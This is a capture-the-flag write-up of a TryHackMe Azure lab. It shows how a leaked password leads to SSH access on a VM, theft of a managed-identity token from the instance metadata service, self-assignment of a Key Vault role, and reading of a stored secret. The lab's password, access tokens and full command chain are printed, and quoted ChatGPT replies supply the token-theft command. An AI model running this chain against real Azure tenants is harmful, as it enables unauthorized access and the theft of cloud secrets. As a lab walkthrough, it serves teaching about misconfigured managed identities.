# Azure: Eyes Wide Shut

{% embed url="<https://tryhackme.com/room/eyeswideshut>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

In Azure: Eyes Wide Shut we are faced with the following scenario:

> ## Lab Scenario
>
> * During the reconnaissance, you came across a password: `WhereIsMyMind$#@!`
> * You don't know much about which permissions you have on the Azure Portal.
> * You don't know much about which resources you can access on the Azure Portal.
> * All you have is a compromised password!
> * How far can you go with it?
> * Which attack path(s) can you discover and how will you exploit it?

<details>

<summary>Summary</summary>

In *Azure: Eyes Wide Shut* we start with a single compromised password to gain access to an Azure VM. From that foothold we leverage the instance metadata service and the VM’s managed identity to obtain an Azure access token, discover an RBAC-protected Key Vault, and abuse overly-permissive identity/role assignments to read a sensitive secret. The chain demonstrates a cloud attack path from credentialed VM access to secret exfiltration via misconfigured Managed Identity and Azure RBAC.

</details>

We open the dashboard of Microsoft Azure and head to `Resource` or `All resources`.

At `Resource` or...

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOxocBZwwCzyhwSKSycFU%2Fgrafik.png?alt=media&#x26;token=a13d098a-bc00-4f52-8cfe-212cd713832e" alt=""><figcaption></figcaption></figure>

at `All resource` in Microsoft Azure we'll find a `Linux VM`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJY4G8MSDyqUf2u11gs5u%2Fgrafik.png?alt=media&#x26;token=4c8d4c2f-899c-4620-94f8-8284fdf641b5" alt=""><figcaption></figcaption></figure>

If we click on that resource we can find the admin username at the `Connect` page. Furthermore we see a public facing ip address of the machine. In this case `20.185.250.2`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0OFo3AGgIx4usg5feKGO%2Fgrafik.png?alt=media&#x26;token=14b7b8d5-cd30-46b6-a749-d2636e5da275" alt=""><figcaption></figcaption></figure>

We can also find the username at the `Reset password` page.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FX47AhmaznbhmRg6m3UNo%2Fgrafik.png?alt=media&#x26;token=76491806-3a06-4270-b8c3-f34e2d24914b" alt=""><figcaption></figcaption></figure>

So, we now have a username `azureuser` and a password from the reconnaissance from the scenario.&#x20;

```
azureuser:WhereIsMyMind$#@!
```

We try to connect via SSH to the VM found with the gathered username and password and are successful.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUsPHWeKXhtHebbQZmkbR%2Fgrafik.png?alt=media&#x26;token=9ad06b0c-564f-443c-8252-addabb0f5d59" alt=""><figcaption></figcaption></figure>

Now the fun part begins. In the lab we learned about different attack scenarios. All of them focus on attacking Managed Identies. The following resources teach about how those abusing Managed Identities:

{% embed url="<https://hackingthe.cloud/azure/abusing-managed-identities/>" %}

For us now the following is the most interesting section `Exploiting Azure Managed Identity`:

{% embed url="<https://hackingthe.cloud/azure/abusing-managed-identities/#exploiting-azure-managed-identity>" %}

First we need to authenticate agains Azure. In the of section `Exploiting Azure Managed Identity` we are intruduced to the following curl command to authenticate to Azure. They are using the `IDENTITY_HEADER` in the environment varibale, But we are missing the `IDENTITY_HEADER`.

{% code overflow="wrap" %}

```
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
```

{% endcode %}

ChatGPT comes in handy and giving us the solution to get an azure acces token from the VM using Curl:

```
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

how to get the IDENTITY_ENDPOINT and IDENTITY_HEADER
```

**ChatGPT:**

> Thanks for sharing the environment output. Based on it, your **Azure VM** does **not** currently expose the `IDENTITY_ENDPOINT` or `IDENTITY_HEADER` environment variables — which is expected behavior for **Azure VMs** using **Managed Identity**.\ <br>
>
> #### Get an Azure access token from a VM using curl
>
> ```bash
> curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
>   -H "Metadata: true"
> ```
>
> * `169.254.169.254` → IMDS IP address (always the same)
> * `resource=https://management.azure.com/` → means you’re requesting a token to call the Azure Resource Manager API
> * `Metadata: true` → required header to authenticate the request

We authenticate as follows and receive an `access_token`.

{% code overflow="wrap" %}

```
curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  -H "Metadata: true"
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzneNmPJt9TD25l1uMcuJ%2Fgrafik.png?alt=media&#x26;token=6a067e0f-cd4f-4412-b72e-aa75030f360e" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkpZaEFjVFBNWl9MWDZEQmxPV1E3SG4wTmVYRSIsImtpZCI6IkpZaEFjVFBNWl9MWDZEQmxPV1E3SG4wTmVYRSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkxNzE2YTlhLWY4ZmYtNDkwZi04ZjNhLWYyZTZkYTZlMTE2NS8iLCJpYXQiOjE3NTM4NjYzNDIsIm5iZiI6MTc1Mzg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xpbnV4Vk0iLCJ4bXNfcmQiOiIwLjQyTGpZQkppT3NVb0pNTEJLU1R3OUVqalBMV1hmMzBhZjA5MW5EV1RZVGxRbEVOSXdNMmp2cEpoMTNYX1hjNjNEdjc0WmlBTUFBIiwieG1zX3RjZHQiOiIxNzExOTkzMTU5In0.D-HzEvQNSnh8QN3CNG91Fb7Y7fUXsTdEWK0MpTpm11U2VmSip2zjRjI8llScYEIKMOSQawlMjU6Cc36XeAh1-Mbd9JqgPQ93zPaHbz7v45NPkYIvjy5OFPFESmZKDjQoeaiHQzwHqFe6qwQONsfutC-95EgT-u_r_6igYzJVriI8NGQZ6H7jyxGBOrd-h-if01qPZbpBw1swRPgAPx_GhuQvDxQjCWRQGHrwkDqF1NmjirN-mpLyNz7iPw0GiX4rTfrzQVXcw0SCigplbmZFwxiWSNgPEkkwYsOh7XXTX1qHSWYgAVgUCLSyvxHTKJGilwq9fMyBIzIM-9ulTBFdaw"
```

{% endcode %}

Furthermore we receive a `client_id`.

```
"client_id": "53094b90-3091-4384-a52c-070be4128d96"
```

Next, we continue and follow the article again. We run powershell.

```
powershell
```

And use the Azure Powershell module to connect to Azure with the access token:

```
PS> Install-Module -Name Az -Repository PSGallery -Force
PS> Connect-AzAccount -AccessToken <access_token> -AccountId <client_id>
```

We connect to Azure with the following command. In some cases the Subscription Name is empty. In those cases we face a faulty setup and need to restart the lab environment.

{% code overflow="wrap" %}

```
Connect-AzAccount -AccessToken eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkpZaEFjVFBNWl9MWDZEQmxPV1E3SG4wTmVYRSIsImtpZCI6IkpZaEFjVFBNWl9MWDZEQmxPV1E3SG4wTmVYRSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkxNzE2YTlhLWY4ZmYtNDkwZi04ZjNhLWYyZTZkYTZlMTE2NS8iLCJpYXQiOjE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bXB1dGUvdmlydHVhbE1hY2hpbmVzL0xpbnV4Vk0iLCJ4bXNfcmQiOiIwLjQyTGpZQkppT3NVb0pNTEJLU1R3OUVqalBMV1hmMzBhZjA5MW5EV1RZVGxRbEVOSXdNMmp2cEpoMTNYX1hjNjNEdjc0WmlBTUFBIiwieG1zX3RjZHQiOiIxNzExOTkzMTU5In0.D-HzEvQNSnh8QN3CNG91Fb7Y7fUXsTdEWK0MpTpm11U2VmSip2zjRjI8llScYEIKMOSQawlMjU6Cc36XeAh1-Mbd9JqgPQ93zPaHbz7v45NPkYIvjy5OFPFESmZKDjQoeaiHQzwHqFe6qwQONsfutC-95EgT-u_r_6igYzJVriI8NGQZ6H7jyxGBOrd-h-if01qPZbpBw1swRPgAPx_GhuQvDxQjCWRQGHrwkDqF1NmjirN-mpLyNz7iPw0GiX4rTfrzQVXcw0SCigplbmZFwxiWSNgPEkkwYsOh7XXTX1qHSWYgAVgUCLSyvxHTKJGilwq9fMyBIzIM-9ulTBFdaw -AccountId 53094b90-3091-4384-a52c-070be4128d96
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FabRhWOW5AgfzW10ATCew%2Fgrafik.png?alt=media&#x26;token=271696a2-db89-418e-b702-eba7955aad40" alt=""><figcaption></figcaption></figure>

**ChatGPT:**

> #### Why is Subscription Name Empty?
>
> You see:
>
> ```
> pgsqlCopyEditSubscription name Tenant
> ----------------- ------
>                   91716a9a-f8ff-490f-8f3a-f2e6da6e1165
> ```
>
> This means you're authenticated, but the Managed Identity might **not have Reader or Contributor access** to any subscription, or it's limited in scope.

{% hint style="warning" %}
Restart the lab environment if subscription is empty.
{% endhint %}

We connect to Azure with the following command:

{% code overflow="wrap" %}

```
Connect-AzAccount -AccessToken eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkpZaEFjVFBNWl9MWDZEQmxPV1E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4LWVtUzEyRjdNRWpYRzROMmtCZFhObFlYTjBMV1J6YlhNIiwieG1zX2lkcmVsIjoiNyAyMCIsInhtc19taXJpZCI6Ii9zdWJzY3JpcHRpb25zLzE3NDYyOTRhLTVhYTgtNGNiYi04MmE0LTExZTczMWIyMDk0Mi9yZXNvdXJjZWdyb3Vwcy9yZy0wNzMwNDY5OC9wcm92aWRlcnMvTWljcm9zb2Z0LkNvbXB1dGUvdmlydHVhbE1hY2hpbmVzL0xpbnV4Vk0iLCJ4bXNfcmQiOiIwLjQyTGpZQkppT3NVb0pNTEJLU1R3OUVqalBMV1hmMzBhZjA5MW5EV1RZVGxRbEVOSXdNMmp2cEpoMTNYX1hjNjNEdjc0WmlBTUFBIiwieG1zX3RjZHQiOiIxNzExOTkzMTU5In0.L4z8XgAgd0asqRpe--wwuI2nipzWUNyIKIjNLa-lwHw6N9alDazDCoj4qNniMWdLDLA0k95rnirgvuw1adMYtcocVbdDG7d_3xZsef2Hd3xA_rqKXte6wb92C5iGLEw3VYCqS8qN0d_SxGZ14iYnerbS7A2brRPvguxC3XrSVpXsAtgocrgJtcIve8S4xv6iRbRvtG2UWJYV9daKu2j3gDwoUU-IIglqcsV4WEA-rxf6uFck0x85cTtBA0L5m2O0HjYsFrPsPD9oqS9QVBaASNd9sDQEPxaQkXvwTImYOZRSJM8za9GBEwzquHtoSg_3PkrQdKCMa5FjYemKTCTTKw -AccountId fcfe35ec-a04b-4f48-98a1-5a90d8f7d14f
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOSUyWuFOPeABkfCWrKD6%2Fgrafik.png?alt=media&#x26;token=0730b672-89cb-4691-a432-db0cc65af72f" alt=""><figcaption></figcaption></figure>

With `Get-AzResource` we retrieve information about Azure resources in our subscription, such as their names, types, locations, and properties.

```
Get-AzResource
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGuEDqAVyX6HMmCNf6IlP%2Fgrafik.png?alt=media&#x26;token=a40ae2b7-1a1c-485e-9276-8d7daece5495" alt=""><figcaption></figcaption></figure>

One of them stands out, the KeyVault `akv-07304698`. This could contain sensitve, valuable information.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCrIzyF3MVOQGSCXXhlE1%2Fgrafik.png?alt=media&#x26;token=7287e4df-cda1-4af5-9628-1f0e0594d83a" alt=""><figcaption></figcaption></figure>

With the following command we try to fetch the details of the Azure Key Vaul**t** named `akv-07304698` from the resource group `rg-07304898`. Bot information gathered from the command before.&#x20;

```
Get-AzKeyVault -Name akv-07304698 -ResourceGroupName rg-07304898
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkoDKC0SeokmJy6j7D5rs%2Fgrafik.png?alt=media&#x26;token=214bfdc6-2908-4668-b38b-f43f6d019904" alt=""><figcaption></figcaption></figure>

With the following we could retrieve the value and metadata of the specified secret  stored in the Key Vault named `akv-07304698`. But we are missing the secret.

```
Get-AzKeyVaultSecret -VaultName akv-07304698 -Name <secret-name>
```

Unfortunately we cannot list the secrets.

```
Get-AzKeyVaultSecret -VaulName akv-07304698
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMb1TcRD5a1nw3O8n13nO%2Fgrafik.png?alt=media&#x26;token=7ed56dd6-b1c6-44c4-990b-eae407d8acff" alt=""><figcaption></figcaption></figure>

`Get-AzRoleAssignment` lists Azure role assignments, showing which users, groups, or service principals have what roles and at what scope like `subscription`, `resource group`, or `resource`. We find two `RoleAssignments`.

```
Get-AzRoleAssignment
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6L0lgnwXxsIXnhkoiVI5%2Fgrafik.png?alt=media&#x26;token=5513fdcb-1493-460f-ac7d-3e77835e49c4" alt=""><figcaption></figcaption></figure>

We head back to the VM, and try to authroize via VM.&#x20;

For this we need to install AzureCLI on the VM:

```
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBTXwYtbdhz7LqTBnIH8Z%2Fgrafik.png?alt=media&#x26;token=f25b92a5-e97e-4493-9916-58d53cab41cd" alt=""><figcaption></figcaption></figure>

We login as follows.

```
az login --identity
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBxvWcW5BC6Qjzc4oj0qr%2Fgrafik.png?alt=media&#x26;token=c6dc3cfd-8f85-42e3-aefa-a44372e7ebae" alt=""><figcaption></figcaption></figure>

Now we try to fetch the details of the Azure Key Vaul**t** named `akv-07304698` on the VM.&#x20;

The command to fetch the details like `Get-AzKeyVault -Name akv-07304698 -ResourceGroupName rg-07304898` is in AzureCLI a bit different, but behaves the same.

This time are able to retrieve more information.  But in both cases we see "`enableRbacAuthorization": true`&#x20;

{% hint style="info" %}
The resource group of the key vaul rg-07304698 might be different in other lab environments
{% endhint %}

```
az keyvault show --name akv-07304698 --resource-group rg-07304698
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWCLJWkxbVk0TAsSy7tY4%2Fgrafik.png?alt=media&#x26;token=0a3a36fe-4f64-4cb0-8395-5ea9deb404ba" alt=""><figcaption></figcaption></figure>

> Your Key Vault (`akv-07304698`) is configured to use **Azure RBAC-based access control**, **not** access policies:
>
> > `"enableRbacAuthorization": true`
>
> That means your **Linux VM's managed identity** must be granted **Key Vault Reader + Secret Reader** roles via **Azure RBAC**.

W try to get the VMs managed identitiy.

We retrieve the managed identity's principal ID (a GUID) for the virtual machine named `LinuxVM` in the resource group `rg-07304698`, outputting just the raw value in plain text (TSV format).

{% code overflow="wrap" %}

```
az vm identity show --name LinuxVM --resource-group rg-07304698 --query principalId --output tsv
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmA42RTGHLI35MJao1zD8%2Fgrafik.png?alt=media&#x26;token=0abd07f2-6ae5-49c0-9825-9664fd0346dd" alt=""><figcaption></figcaption></figure>

Now we assign the Key Vault Secrets User role to the principal with ID `ce92d2ee-6a58-4612-bc88-b951b6f078aa`, scoped specifically to the Key Vault `akv-07304698` in resource group `rg-07304698` under the given subscription.

```
az role assignment create \
  --assignee "ce92d2ee-6a58-4612-bc88-b951b6f078aa" \
  --role "Key Vault Secrets User" \
  --scope "/subscriptions/1746294a-5aa8-4cbb-82a4-11e731b20942/resourceGroups/rg-07304698/providers/Microsoft.KeyVault/vaults/akv-07304698"

```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FC3T38iursIVSZqkZ7gdQ%2Fgrafik.png?alt=media&#x26;token=94d94ab6-ba8e-412d-9e95-46c2ca9f5a74" alt=""><figcaption></figcaption></figure>

Next, we try to lists all the secrets stored in the Key Vault named `akv-07304698`, including their names and metadata. We find the secret called `flag`.

```
az keyvault secret list --vault-name akv-07304698
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2IFPRa9IVmMBPEh1Xs1O%2Fgrafik.png?alt=media&#x26;token=f70ac1f3-2b76-4c9c-9864-c5ca6d85a875" alt=""><figcaption></figcaption></figure>

To retrieve the secret from the vaul we issue the following command.

```
az keyvault secret show --vault-name akv-07304698 --name flag
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F7BgS2x7qOkCxIFXIhpV8%2Fgrafik.png?alt=media&#x26;token=51528223-2ae6-4522-90d7-42685433dc41" alt=""><figcaption></figcaption></figure>

We abused a Over-Permissioned Managed Identity, which in short  means the Azure resource’s managed identity, in this case the VM, was given more privileges than it should have, and we abused those excessive permission.
